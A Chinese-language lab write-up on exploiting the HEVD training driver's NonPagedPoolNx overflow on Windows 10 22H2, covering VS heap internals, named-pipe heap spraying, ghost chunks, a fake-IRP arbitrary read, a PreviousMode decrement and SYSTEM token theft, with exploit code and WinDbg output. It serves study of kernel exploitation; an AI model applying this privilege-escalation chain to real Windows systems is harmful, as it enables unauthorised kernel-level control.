Windows 10内核池溢出— VS类型

在HEVD练习上有这么一道题,是TriggerBufferOverflowNonPagedPoolNx

__int64 __fastcall TriggerBufferOverflowNonPagedPoolNx(void *UserBuffer, size_t Size)
{
PVOID PoolWithTag; // rdi

DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 0x1F0u, 'kcaH');
if ( PoolWithTag )
{
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPoolNx");
DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 496);
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ProbeForRead(UserBuffer, 0x1F0u, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 496);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPoolNx\n");
memmove(PoolWithTag, UserBuffer, Size);
DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag);
ExFreePoolWithTag(PoolWithTag, 0x6B636148u);
return 0;
}
else
{
DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
return 0xC0000017LL;
}
}

很明显在申请到的PoolWithTag在后续的memmove存在溢出

VS类型Pool

变长分配后端(Variable Size backend)负责分配大小介于 512(0x200) 字节至 128 KiB 之间的内存块。其旨在便于对空闲内存块进行复用[4]。

image-20260417181741618

image-20260417181803904

​ 所有已分配的块均以一个名为 _HEAP_VS_CHUNK_HEADER 的专用结构体作为头部。

0: kd> dt nt!_HEAP_VS_CHUNK_HEADER
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
+0x008 UnusedBytes : Pos 8, 1 Bit
+0x008 SkipDuringWalk : Pos 9, 1 Bit
+0x008 Spare : Pos 10, 22 Bits
+0x008 AllocatedChunkBits : Uint4B

image-20260417181953245

image-20260422094535013

​ 此标头内的所有字段均与 RtlpHpHeapGlobals 以及块的地址进行异或运算。

Chunk->Sizes = Chunk->Sizes ^ Chunk ^ RtlpHpHeapGlobals;

image-20260417182204949

尝试添加内存

image-20260422092349584

image-20260422092532792

如果想要申请回来的话只能申请原来的size+0x20才行,并且是类似bucket一样的累加制度,例如超过0x400就是0x40的颗粒度了。但是由于分配机制的存在,我们不能类似Linux Ring3 Pwn中的fastbin一样直接返回刚被释放的chunk。

现在申请一块0x1F0大小的chunk

Pool page ffffc40c343a5670 region is Nonpaged pool
ffffc40c343a5000 size: 250 previous size: 0 (Allocated) ALPC
ffffc40c343a5250 size: 1e0 previous size: 0 (Free) ..[*
ffffc40c343a5440 size: 210 previous size: 0 (Allocated) CcVp
*ffffc40c343a5660 size: 200 previous size: 0 (Allocated) *sprI
Owning component : Unknown (update pooltag.txt)
ffffc40c343a5880 size: 210 previous size: 0 (Allocated) NSIk
ffffc40c343a5aa0 size: 210 previous size: 0 (Allocated) NSIk
ffffc40c343a5cc0 size: 230 previous size: 0 (Allocated) NSIk
ffffc40c343a5ef0 size: f0 previous size: 0 (Free) ..[*

几个VS类型chunk间隔均为0x220

堆喷射攻击与命名管道

​ 我们无法精确的布置堆风水,例如调整pool->prevSize来造成chunk overlapping来达到申请到某个地址。所以我们得借助内核对象,让能被溢出的vulnChunk申请到内核对象的前面,然后溢出vulnChunk来修改这一内核对象的相关数据结构,例如函数指针等。

image-20260417185524867

image-20260417185602859

堆喷射

后端堆处理让我们无法精准的申请到这一地址,所以解决方案就是堆喷射。

  1. 我们通过在内存中铺设大量的chunk消耗freedChunk,这样新的申请就在新的subsegment上了

    image-20260422101532008

  2. 消耗过后再释放,造成空洞,一定要间隔释放,不然由VS的释放机制会被合并成一个freedChunk,如右侧最下方的合并freed chunk

    image-20260422101850935

  3. 因为造成空洞前已经没有freedChunk了,空洞后只存在我们刚刚释放的freedChunk,随意新申请的Chunk必然到我们刚刚的freedChunk中,虽然地址不知道但是相邻的大概率是我们喷射的内核对象。

    image-20260422102101231

  4. 通过溢出修改内核对象,实现LPE或者RCE

这里有趣的是大小的计算,这里以测试代码为例

PoolSize PoolHeader DQE
自定义 0x10 0x30

所以从pipe写入的大小可以定位为宏

#define CALC_NDQE_DataSize(chunk_size) (chunk_size - sizeof(POOL_HEADER) - sizeof(NP_DATA_QUEUE_ENTRY))

所以

namespace settings {
constexpr DWORD szSingelChunk = 0x1F0;
constexpr DWORD szPipeHead = 0x30;
constexpr DWORD szPoolHead = 0x10;

constexpr DWORD szPipeBlock = szSingelChunk + szPoolHead;
constexpr DWORD szVulnChunk = szSingelChunk;
}
  • 最后进入对管理器的大小是szSingelChunk+0x10=0x200
  • 那么pipe中写入和释放的大小就应该是0x200

注意:堆喷方式是及不稳定的,所以很可能堆喷失败或者触发蓝屏

image-20260422155705388

image-20260422155735652

这里很幸运地堆喷成功,这样我们溢出的时候就可以攻击到Pipe Block了

image-20260422160433339

ffff850e`94971220  ffffe405`5a288e78 ffffe405`5a288e78
ffff850e`94971230 00000000`00000000 ffffe405`56ee0b00
ffff850e`94971240 000001c0`00000000 00000000`000001c0

内核对象:named pipe

在选定内核的喷射对象时,应该有如下优点

  • 能控制大小
  • 能大量申请
  • 能控制释放

管道的通讯就是一个不错的对象。

这是windows提供的用于进程间通讯的一种机制。首先是**服务端(server)**创建命名管道,**客户端(client)**使用CreateFile连接到服务端。双方可以使用ReadFileWriteFile进行读、写的通讯。这种利用方式非常常见,比如说在cobaltstrike的木马中就是用到了这种通讯,具体例子可以参考公众号的文章: 【免杀】使用CobaltStrike的外置监听器绕过检测

  • pipeAttribute 对象在分页池(Paged Pool)中分配,Tag为NpAt

    struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize;
    char * AttributeValue;
    char data[0];
    };

    利用 NtFsControlFile 系统调用并配合控制码 0x11003C,即可在管道上创建管道属性。

    HANDLE read_pipe;
    HANDLE write_pipe;
    char attribute[] = "attribute_name\00attribute_value"
    char output[0x100];
    CreatePipe(read_pipe, write_pipe, NULL, bufsize);
    NtFsControlFile(write_pipe,
    NULL,
    NULL,
    NULL,
    &status,
    0x11003C,
    attribute,
    sizeof(attribute),
    output,
    sizeof(output)
    );

    随后,可以使用控制码 0x110038 来读取该属性的值。

    但是我们这里主要使用的时NonPage,所以这个不多讲

  • 对于NonPagedPool有DATA_QUEUE_ENTRY,Tag为NpFr

    管道成功建立后,底层驱动程序(npfs.sys)会在上下文控制块 (CCB) 中创建两个队列,每个队列对应一个CCB队列。当有消息写入时,比如**服务端想客户端发送消息(WriteFile)**时,会在队列中创建如下结构体,后文简称为dqe

    struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
    }
    DATA_QUEUE_ENTRY.drawio

    当**客户端开始接收消息(ReadFile)**时,就会从队列中释放掉该消息

    • NextEntry: Windows中的经典 双向循环链表LIST_ENTRYflink指向下一个entryblink指向上一个。当结构体被释放时(如执行ReadFile),会进行相邻结构体链表之间的重新连接,也就是数据结构中双向链表中的删除操作。注意的是,在windows 10中新增了校验操作

      entry->Flink->Blink!=entry

      这样可以避免溢出时覆盖entry->flinkblink,造成的劫持

    • SecurityContext: 安全上下文,主要是模仿客户端的行为,比如客户端访问权限等,在这里并不重要。

    • EntryType: DATA_QUEUE_ENTRY的类型,一般分为两种:bufferedunbuffered

      • buffered: EntryType=0DATA_QUEUE_ENTRY 中申请的buf大小足够存放UserData,读取时直接从UserData处复制

      • unbuffered: EntryType=1DATA_QUEUE_ENTRY 中申请的buf大小只存放DATA_QUEUE_ENTRY,读取时要调用IRP来实现读取。可以使用如下函数来创建这种Entry

        NtFsControlFile(pipe_handle, 0, 0, 0, &isb, 0x119FF8, buf, sz, 0, 0);
    • Irp: 处理的中断请求

    • QuotaInEntry: 空间剩余配额,对于buffered来说,每次读取可能不会全部读完,QuotaInEntry记录了剩余UserData读取的大小,即QuotaInEntry初始值等于DataSize,每次读取都会减去已经读取的长度,直到QuotaInEntry=0;对于unbuffered来说值恒为0

    • DataSize: 很重要,它描述了UserData的大小。

    当服务端想客户端发送消息时,npfs会申请0x30+DataSize大小(并会对齐)的内核池,其中0x30是为了存放DATA_QUEUE_ENTRY头部

    配额管理机制(QuotaInEntry):允许通信通道的服务器端指定队列可容纳的最大数据大小超过该限制时

    • 在阻塞模式 (PIPE_WAIT) 下,创建条目时将 QuotaInEntry 设置为当前队列中可用的字节数。之后,每次对缓冲条目执行读取(read而非peek)操作后,读取大小都会添加到已停止写入的 QuotaInEntry 中。当 QuotaInEntry 等于 DataSize 时,表示管道配额中有足够的空间容纳该条目,并且其关联的 IRP 已完成,qde从当前数据条目中移除。

      说人话就是当客户端读取服务端发送的消息时,利用剩余配额分配机制,Quota<Datasize,就会触发对应dqe的Irp,将irp->AssociatedIrp的值写入到irp->UserBuffer中,即

      memcpy(irp->UserBuffer, irp->AssociatedIrp, size);
    • 在非阻塞模式 (PIPE_NOWAIT) 下,操作将失败。(写入的字节数将等于 0)

Exploit编写

这里选用的是 https://github.com/ommadawn46/HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2/ 这个exp为基础进行讲解

读原语

首先是准备堆喷射,使用CreatePipe创建大量的管道和读写句柄,然后分配到新的Subsegment,然后再在新的segment上大量分配后间隔释放,创建空洞。最后让HEVD的漏洞chunk申请到创建的空洞中,利用PoolHeader中的PoolType位,设置溢出到的chunk(victim_chunk) 为溢出到的 CacheAligned flag 0 | 4),这样释放下chunk的时候就会导致内存对齐操作,然后完成溢出攻击。

puts("[*] Allocating new VS_SUB_SEGMENT...");
SprayNpDataQueueEntry(0x20000, VULN_CHUNK_SIZE, NULL, 0);

puts("[*] Creating chunk holes...");
pipe_group_t* victim_chunks = createChunkHoles();

puts("[*] Exploiting HEVD to set CacheAligned flag...");
setCacheAlignedFlagOnVictimChunk();

由于HEVD立刻释放了vuln chunk,接着依旧需要通过堆喷才能申请回来,申请回来的目的是为了创建幽灵块时我们能够读取到幽灵块的内容,并且可以布置上我们伪造的 fake_pool_header

vs_chunk_t fake_vs_chunk = { 0 };
fake_vs_chunk.pool_header.PreviousSize = 0;
fake_vs_chunk.pool_header.PoolIndex = 0;
fake_vs_chunk.pool_header.BlockSize = (GHOST_CHUNK_SIZE - sizeof(HEAP_VS_CHUNK_HEADER)) / 0x10;
fake_vs_chunk.pool_header.PoolTag = 0x4141414141;

pipe_group_t* fake_pool_header_chunks = SprayNpDataQueueEntry(NUM_PIPES_SPRAY, VULN_CHUNK_SIZE, (char*)&fake_vs_chunk, sizeof(vs_chunk_t));
1: kd> !pool ffffa482184cd670
Pool page ffffa482184cd670 region is Unknown
ffffa482184cd000 size: 200 previous size: 0 (Allocated) NpFr Process: ffffa4820336c080
ffffa482184cd220 size: 210 previous size: 0 (Allocated) NpFr Process: ffffa4820336c080
ffffa482184cd440 size: 210 previous size: 0 (Allocated) NpFr Process: ffffa4820336c080
*ffffa482184cd660 size: 200 previous size: 0 (Allocated) *NpFr Process: ffffa4820336c080
Pooltag NpFr : DATA_ENTRY records (read/write buffers), Binary : npfs.sys

ffffa482184cd880 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...

Pool search interrupted

可以看到原来的vulnChunk ffffa482184cd660 已经被分配回来的

1: kd> dq ffffa482184cd660-20
ffffa482`184cd640 41414141`41414141 41414141`41414141
ffffa482`184cd650 e4630358`6a9115b7 ffffa482`000001bf
ffffa482`184cd660 7246704e`0a206a00 068aa0b7`6b63ee23
ffffa482`184cd670 ffff8f07`d9ea2738 ffff8f07`d9ea2738
ffffa482`184cd680 00000000`00000000 ffff8f07`d0bd1cc0
ffffa482`184cd690 000001c0`00000000 41414141`000001c0
ffffa482`184cd6a0 00000000`00000000 00000000`00000000
ffffa482`184cd6b0 41414141`003e0000 00000000`00000000

1: kd> dt _POOL_HEADER ffffa482`184cd660
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y01101010 (0x6a)
+0x002 BlockSize : 0y00100000 (0x20)
+0x002 PoolType : 0y00001010 (0xa)
+0x000 Ulong1 : 0xa206a00
+0x004 PoolTag : 0x7246704e
+0x008 ProcessBilled : 0x068aa0b7`6b63ee23 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xee23
+0x00a PoolTagHash : 0x6b63
1: kd> dt _POOL_HEADER ffffa482`184cd6b0
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00111110 (0x3e)
+0x002 PoolType : 0y00000000 (0)
+0x000 Ulong1 : 0x3e0000
+0x004 PoolTag : 0x41414141
+0x008 ProcessBilled : (null)
+0x008 AllocatorBackTraceIndex : 0
+0x00a PoolTagHash : 0

image-20260424150557932

image-20260424151245197

然后进行幽灵块的创建,即触发 victim_chunk CacheAlign 属性的强制对齐导致的prev_size在free中被启用,这也是最玄学的一步,因为它涉及到 lookaside 机制的利用。在上面的溢出中,我们很明显的破坏了 victim_chunk 的 _HEAP_VS_CHUNK_HEADER ,这意味着新的 ghost_chunk的大小的VS的chunk无法通过VS 后端分配器的检查,我们在创建ghost_chunk之前先启用lookaside链表。这个链表的作用就是将经常访问的某个大小的chunk放在一个链表中而不去真正的释放它,当 Pool 的大小合适的时候直接给出,不用经过任何后端分配器。这样便可以通过VS后端分配器的检测从而分配到幽灵块。但是正是因为激活状态的不确定性导致了这里的堆溢出漏洞利用又crash的风险,这也是为什么用这份公开的exp进行讲解的原因之一,他可以确保每个人的结果有一个较好的复现。

printf("[*] Enabling dynamic lookaside lists (0x%X, 0x%X)...\n", VICTIM_CHUNK_SIZE, GHOST_CHUNK_SIZE);
enableLookaside(2, VICTIM_CHUNK_SIZE, GHOST_CHUNK_SIZE);

puts("[*] Creating and locating ghost chunk...");
if (!createGhostChunk(pipes, addrs, victim_chunks, fake_pool_header_chunks, &fake_vs_chunk))
{
fprintf(stderr, "[-] Failed to create ghost chunk\n");
return 0;
}

这里我中断了下调试,所以地址可能不一样

0: kd> !pool 0xFFFFBB058ADEBAB0
Pool page ffffbb058adebab0 region is Paged pool
ffffbb058adeb000 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080
ffffbb058adeb220 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080
ffffbb058adeb430 size: 220 previous size: 0 (Free) q..j
ffffbb058adeb660 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080
ffffbb058adeb880 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080
*ffffbb058adebaa0 size: 200 previous size: 0 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ffffbb058adebcc0 size: 210 previous size: 0 (Allocated) NpFr Process: ffffbb057c8c3080
ffffbb058adebed0 size: 110 previous size: 0 (Free) q..j

内存分布类似

image-20260430235246847

现在我们读取到了ghost_chunk中的内容,也匹配到了对应 victim_chunk 的handle句柄。

image-20260417210310682

  • 如何定位:使用PeekNamedPipe对比从read handle读取后和埋下的(上图中的橙色部分)进行比较,得到ghost chunk的handle。
  • 可以从ghost chunk中读取到

image-20260424161842283

image-20260424161929882

然后使用+0x00的chunk再分配回去,重新配置ghsot_chunk的值,尤其是Irp,这样创建unbuffered: EntryType=1DATA_QUEUE_ENTRY 中申请的buf大小只存放DATA_QUEUE_ENTRY,读取时要调用IRP来实现读取。我们设置Irp的SystemBuffer为想要读取的值,然后PeeNamedPipe就可以完成任意地址读了

void setFakeNpDataQueueEntry(exploit_pipes_t* pipes, exploit_addresses_t* addrs)
{
vs_chunk_t fake_np_data_queue_entry_chunk = { 0 };
fake_np_data_queue_entry_chunk.np_data_queue_entry.QueueEntry.Flink = (LIST_ENTRY*)addrs->np_ccb_data_queue;
fake_np_data_queue_entry_chunk.np_data_queue_entry.QueueEntry.Blink = (LIST_ENTRY*)addrs->np_ccb_data_queue;
fake_np_data_queue_entry_chunk.np_data_queue_entry.Irp = (uintptr_t)&g_fake_irp; // Fake IRP
fake_np_data_queue_entry_chunk.np_data_queue_entry.ClientSecurityContext = 0;
fake_np_data_queue_entry_chunk.np_data_queue_entry.DataEntryType = 0x1; // 0x1: Unbuffered
fake_np_data_queue_entry_chunk.np_data_queue_entry.DataSize = 0xffffffff;
fake_np_data_queue_entry_chunk.np_data_queue_entry.QuotaInEntry = 0xffffffff;

uintptr_t ghost_np_data_queue_entry;
do
{
printf(".");
FreeNpDataQueueEntry(pipes->previous_chunk_pipe, VULN_CHUNK_SIZE);
pipes->previous_chunk_pipe = AllocNpDataQueueEntry(VULN_CHUNK_SIZE, (char*)&fake_np_data_queue_entry_chunk, sizeof(vs_chunk_t));
ArbitraryRead(&pipes->ghost_chunk_pipe, addrs->np_ccb_data_queue, (char*)&ghost_np_data_queue_entry, 0x8);
} while (ghost_np_data_queue_entry == GHOST_CHUNK_MARKER_1);
printf("\n");
}

1: kd> dq ffffbb058adebaa0+50
ffffbb05`8adebaf0 00000000`00000000 00000000`00000000
ffffbb05`8adebb00 ffff9706`d2c6eb18 ffff9706`d2c6eb18
ffffbb05`8adebb10 00007ff6`fe9787c8 00000000`00000000
ffffbb05`8adebb20 ffffffff`00000001 00000000`ffffffff
ffffbb05`8adebb30 41414141`41414141 41414141`41414141
ffffbb05`8adebb40 41414141`41414141 41414141`41414141
ffffbb05`8adebb50 41414141`41414141 41414141`41414141
ffffbb05`8adebb60 41414141`41414141 41414141`41414141

设置的Irp的值是再用户态空间的,直接访问不了,贴到exp中的才能

1: kd> !process 0 0
...
PROCESS ffffbb057c8c3080
SessionId: 1 Cid: 1490 Peb: 3c34224000 ParentCid: 072c
DirBase: 125a29000 ObjectTable: ffff9706b35c0040 HandleCount: 1053509.
Image: HEVD-BufferOverflowNonPagedPoolNx-Win10-22H2.exe
...
1: kd> dq 00007ff6`fe9787c8
00007ff6`fe9787c8 00000000`00000000 00000000`00000000
00007ff6`fe9787d8 00000000`00000000 ffff9706`d2c6eb18
00007ff6`fe9787e8 00007ffc`23a2d730 0000017c`92d50720
00007ff6`fe9787f8 0000017c`92d50740 0000017c`92d60720
00007ff6`fe978808 00000000`00000000 00000000`00000000
00007ff6`fe978818 00000000`00000000 00000000`00000000
00007ff6`fe978828 00000000`00000000 00000000`00000000
00007ff6`fe978838 00000000`00000000 00000000`00000000
1: kd> dt _IRP 00007ff6`fe9787c8
ntdll!_IRP
+0x000 Type : 0n0
+0x002 Size : 0
+0x004 AllocationProcessorNumber : 0
+0x006 Reserved : 0
+0x008 MdlAddress : (null)
+0x010 Flags : 0
+0x018 AssociatedIrp : <anonymous-tag>
+0x020 ThreadListEntry : _LIST_ENTRY [ 0x00007ffc`23a2d730 - 0x0000017c`92d50720 ]
+0x030 IoStatus : _IO_STATUS_BLOCK
+0x040 RequestorMode : 0 ''
+0x041 PendingReturned : 0 ''
+0x042 StackCount : 0 ''
+0x043 CurrentLocation : 0 ''
+0x044 Cancel : 0 ''
+0x045 CancelIrql : 0 ''
+0x046 ApcEnvironment : 0 ''
+0x047 AllocationFlags : 0 ''
+0x048 UserIosb : (null)
+0x050 UserEvent : (null)
+0x058 Overlay : <anonymous-tag>
+0x068 CancelRoutine : (null)
+0x070 UserBuffer : (null)
+0x078 Tail : <anonymous-tag>
1: kd> dx -id 0,0,ffffbb057c8c3080 -r1 (*((ntdll!_IRP *)0x7ff6fe9787c8)).AssociatedIrp
(*((ntdll!_IRP *)0x7ff6fe9787c8)).AssociatedIrp [Type: <anonymous-tag>]
[+0x000] MasterIrp : 0xffff9706d2c6eb18 [Type: _IRP *]
[+0x000] IrpCount : -758715624 [Type: long]
[+0x000] SystemBuffer : 0xffff9706d2c6eb18 [Type: void *]
1: kd> dq 0xffff9706d2c6eb18
ffff9706`d2c6eb18 ffffbb05`8adebb00 ffffbb05`8adebb00
ffff9706`d2c6eb28 000003a0`00000001 ffffffff`00000001
ffff9706`d2c6eb38 00000000`000003a0 ffff9706`d2c6eb49

"写"原语

KTHREAD+0x232 处的 PreviousMode 控制线程的"身份":

PreviousMode = 1 (UserMode)  // NtWriteVirtualMemory 做 ProbeForWrite,拒绝内核地址
PreviousMode = 0 (KernelMode)// 跳过地址检查,允许任何地址

把它从 1 减到 0,用户态代码就能通过 ReadProcessMemory / WriteProcessMemory 读写内核任意地址。

ExFreePool 的配额返还路径中:

  1. setFakeProcessBilled,它把 previous_chunk_pipe 覆盖成一个伪造的 vs_chunk,其中 ProcessBilled 经过 XOR 编码指向一个可控的 fake EPROCESS。然后通过 AllocNpDataQueueEntry 写到 pipe 数据区。

    PoolType = 8   // QUOTA_CHARGED (bit 3)
    ProcessBilled = fake_eprocess ^ ExpPoolQuotaCookie ^ pool_header_addr

    image-20260501011723735

    image-20260501011925283

    image-20260501011840561

  2. ghost chunk 被 free。FreeNpDataQueueEntry(pipes->ghost_chunk_pipe, ...) 触发内核的 ExFreePool。此时 ghost_chunk_pipe 的底层 NP_DATA_QUEUE_ENTRYPOOL_HEADER 已被 Step 1 的 spray 覆写为我们的伪造值。

    ExFreePool 内部的简化路径:

    // ExFreePool 发现 PoolType & QUOTA_CHARGED
    eproc = header->ProcessBilled ^ ExpPoolQuotaCookie ^ &header
    = (fake_eprocess ^ cookie ^ &hdr) ^ cookie ^ &hdr
    = fake_eprocess // ✓ 解码出我们的假结构

    // 调用 PspReturnProcessQuota, 内部访问:
    // *(eproc + EPROCESS_QuotaBlock_OFFSET) → 这个字段存的是 addr_to_decrement - 1
    // 内核从该地址继续偏移并减去 BlockSize × 0x10
  3. addr_to_decrement - 1 写到 fake_eprocess + 0x568(QuotaBlock 字段)。内核的配额返还逻辑取这块的值作为基数,加上内部偏移,最终从 KTHREAD + 0x232 减去 1

    memcpy((char*)addr + EPROCESS_QuotaBlock_OFFSET, &addr_to_decrement, sizeof(DWORD64));

    image-20260501011951004

总之我们将QuotaBlock和PreviousMode进行重叠(因为之前我们有了任意地址读,可以定位PreviousMode的地址),成功的实现最关键的任意地址-1,成功的让我们拥有了任意地址写的权限。之后:

Write64(addr, val) = NtWriteVirtualMemory_(GetCurrentProcess(), addr, &val, 8, NULL)

因为 PreviousMode == 0,内核态路径直接允许写入。任意地址写就此实现。

提权完成

在任意读写的基础上进行system token的盗用[1],就可以轻松的实现权限提升了。

int EscalatePrivileges(exploit_addresses_t* addrs)
{
uintptr_t system_token = Read64(addrs->system_eprocess + EPROCESS_Token_OFFSET);
system_token &= (~0xF); // Clear reference count bits
printf("[+] System TOKEN: 0x%llX\n", system_token);

puts("[*] Overwriting current process token with System token");
Write64(addrs->self_eprocess + EPROCESS_Token_OFFSET, system_token);

return 1;
}

image-20260501012040136

引用

[1] 【Win Pwn】HEVD-内核栈溢出(下) https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-III/

[2] Windows-Non-Paged-Pool-Overflow-Exploitation. https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation

[3] 【Win Pwn】Windows10 内核池溢出. https://joe1sn.eu.org/2025/04/16/win-exp-big-non-paged-pool-overflow/

[4] 【Windows Segment Heap: Attacking the VS Allocator】https://web.archive.org/web/20250429173953/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/